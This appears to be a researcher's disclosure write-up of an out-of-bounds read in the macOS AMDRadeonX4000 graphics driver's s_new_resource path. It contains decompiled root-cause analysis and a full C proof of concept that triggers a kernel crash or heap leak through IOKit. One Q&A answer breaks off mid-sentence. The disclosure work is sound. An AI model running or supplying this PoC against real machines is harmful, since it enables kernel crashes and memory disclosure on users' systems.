Apple AMDRadeonX4000 s_new_resource Out-Of-Bound memory reading

Overview

This vulnerability existsd in I/O Kit module AMDRadeonX4000.

Root Cause Analysis

1. s_new_resource passes arguments without further check

__int64 __cdecl IOAccelSharedUserClient2::s_new_resource(IOAccelSharedUserClient2 *this, void *a2, IOExternalMethodArguments *args)
{
  __int64 v3; // rax
  IOAccelNewResourceReturnData *retutnData; // r15
  IOMemoryDescriptor *discriptor; // rdi
  IOMemoryMap *maped; // r14
  void *structInput; // r12
  unsigned __int64 structInputSize; // rax
  unsigned int returnCode; // er13
  __int64 v14; // [rsp-8h] [rbp-30h]

  v14 = v3;
  retutnData = args->structureOutput;
  discriptor = args->structureInputDescriptor;
  if ( discriptor )
  {
    a2 = &loc_1000;
    maped = (discriptor->vtable->IOMemoryDescriptor::map)(discriptor, 4096LL);
    if ( !maped )
    {
      _os_log_internal(/*...omited...*/);
      return 0xE00002C8;
    }
    structInput = (maped->vtable->IOMemoryMap::getVirtualAddress)(maped);
    structInputSize = (args->structureInputDescriptor->vtable->IOMemoryDescriptor::getLength)(args->structureInputDescriptor);
  }
  else
  {
    structInputSize = args->structureInputSize;
    structInput = args->structureInput;
    maped = 0LL;
  }
  returnCode = 0xE00002C2;
  
  if ( retutnData && structInputSize >= 0x60 && structInput ) ------------ (1.a)
  {
    returnCode = IOAccelSharedUserClient2::new_resource(
                   this,
                   structInput,
                   retutnData,
                   structInputSize,
                   &args->structureOutputSize);
  }
  if ( maped )
    (maped->vtable->OSObject::release)(maped);
  if ( returnCode )
    _os_log_internal(/*...omited...*/);
  else
    returnCode = 0;
  return returnCode;
}

With some Reverse Engeneering, we can found that structinput was not checked strictly at 1.a and then it was passed to IOAccelSharedUserClient2::new_resource

2. new_resource allocate and initialize new resource without further check

__int64 __fastcall IOAccelSharedUserClient2::new_resource(IOAccelSharedUserClient2 *this, IOAccelNewResourceArgs *args, IOAccelNewResourceReturnData *retutnData, unsigned __int64 argSize, unsigned int *outputSize)
{
  //in this omited code, it does different operations to allocate a new resource depending on the first 4 bytes of ***args*** like following
  //IOAccelResource2::newResourceWithXXXXXX(....)

  
  if ( !resource )									-------------------------------- (2.a)
    goto resourceShortageError;
    
  //@pc: 0x1e785
  if ( !(resource->vtable->IOAccelResource2::initialize)(resource, args, v5)) 
  {
    _os_log_internal(/* omited */);
  }
}
//class relactionship
IOAccelResource2::AMDRadeonX4000_AMDAccelResource

At 2.a, once the resource has been allocated successfully, the initalized method was called. However, this virtual function was overrideed by AMDRadeonX4000_AMDAccelResource:initialize .

3. AMDRadeonX4000_AMDAccelResource::initialize copies memory according to a user-mode controlled value

void *__cdecl AMDRadeonX4000_AMDAccelResource::initialize(AMDRadeonX4000_AMDAccelResource *this, char *args, unsigned __int64 a3)
{ 
    
    
  /***....code omited...***/
  
  //@pc: 0xe5fe
  if ( *((_DWORD *)args + 62) ) // qword [args + 0xF8] 	=> entryCount
  {
    buff = (char *)IOMalloc(24LL * *((unsigned int *)args + 62));  ------------- (3.a)
    this->entryBuffer = (__int64)buff;
    if ( buff )
    {
      BYTE2(this->field_184) |= 8u;
      entryCount = *((unsigned int *)args + 62); // qword [args + 0xF8] 	=> entryCount
      this->entryCount = entryCount;
      if ( entryCount )
      {
        i = 0LL;
        do													--------------------- (3.b)
        {
          *(_QWORD *)&buff[i] = *(_QWORD *)&args[i + 152]; // page fault here
          *(_QWORD *)&buff[i + 8] = *(_QWORD *)&args[i + 160];
          *(_DWORD *)&buff[i + 16] = *(_DWORD *)&args[i + 168];
          i += 24LL;
          --entryCount;
        }
        while ( entryCount );
      }
    }
    else
    {
      this->entryCount = 0;
      v5 = 0;
    }
      
    /* code omited */
  }

At 3.a, it allocated a buffer according to entryCount and then copy the data to newly allocated entryBuffer block by block as a size of 24 at 3.b. However, it does not check the source memory length, thus making an Out-Of-Bound Read vulnerability.

PoC Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

#include <libkern/OSAtomic.h>

#include <mach/thread_act.h>

#include <pthread.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

unsigned int selector = 0;

uint64_t inputScalar = 0;
size_t inputScalarCnt = 0;


uint8_t inputStruct[3760];
size_t inputStructCnt = 0;

uint64_t outputScalar = 0;
uint32_t outputScalarCnt = 0;

uint8_t outputStruct[72] = {0};
size_t outputStructCnt = 0;

io_connect_t global_conn = MACH_PORT_NULL;


void set_params(io_connect_t conn)
{

    

    uint64_t *qword = (uint64_t *)inputStruct;
    uint32_t *dword = (uint32_t *)inputStruct;

    //capture this data via a kernel debug breakpoint, make newResourceXXX work
    qword[1] = 0x0000000100400040;
    qword[3] = 0x0000000000000100;
    qword[4] = 0x0000243004000101;
    qword[10] = 0x0000000000004000;
    qword[12] = 0x0000010000000000;
    qword[13] = 0x0000010000000000;
    qword[14] = 0x0040004000400040;
    qword[15] = 0x000300c000040001;
    qword[16] = 0x00007f8689415870;

    //copy data from input+0x98 to buffer according to this value
    dword[62] = 0x100000; 
    // 0x100000 entries with 8x size, big enough to make a page fault

    global_conn = conn;
    selector = 0;
    inputScalarCnt = 0;
    inputStructCnt = 3760;
    outputScalarCnt = 0;
    outputStructCnt = 72;
}

kern_return_t make_iokit_call()
{
    kern_return_t ret = IOConnectCallMethod(
        global_conn,
        selector,
        inputScalar,
        inputScalarCnt,
        inputStruct,
        inputStructCnt,
        outputScalar,
        &outputScalarCnt,
        outputStruct,
        &outputStructCnt);

    return ret;
}

mach_port_t get_user_client(char *name, int type)
{
    kern_return_t err;

    CFMutableDictionaryRef matching = IOServiceMatching(name);
    if (!matching)
    {
        printf("unable to create service matching dictionary\n");
        return 0;
    }

    io_iterator_t iterator;
    err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
    if (err != KERN_SUCCESS)
    {
        printf("no matches\n");
        return 0;
    }

    io_service_t service = IOIteratorNext(iterator);

    if (service == IO_OBJECT_NULL)
    {
        printf("unable to find service\n");
        return 0;
    }
    printf("got service: %x\n", service);

    io_connect_t conn = MACH_PORT_NULL;
    err = IOServiceOpen(service, mach_task_self(), type, &conn);
    if (err != KERN_SUCCESS)
    {
        printf("unable to get user client connection\n");
        return 0;
    }

    printf("got userclient connection: %x\n", conn);

    return conn;
}


/*
    AMDRadeon X4000 s_new_resource OOB read
    usage : clang poc.c -framework IOKit -o poc && ./poc
*/
int main(int argc, char **argv)
{
    kern_return_t err;

    io_connect_t conn = get_user_client("AMDRadeonX4000_AMDGraphicsAccelerator", 6);
    set_params(conn);
    kern_return_t ret = make_iokit_call();

    printf("IOReturn : %#x\n", ret);

    return 0;
}

Q & A

How did you find this vulnerability?

by fuzzing.

Can you identify exploitability?

This is a Out-of-Bound read vulnerability. It can crash the kernel or leak kernel heap memory. Attacker may craft a struct and use this vulnerability to copy more data from input heap to the newly created buffer than expected. When the newly created buffer contains

Can you identify root cause?

Yes, see the root cause analysis.

Vulnerable software and hardware

macOS 10.14.1 and all before with an AMDRadeon X4000 Series Graphics Card Driver

Back Home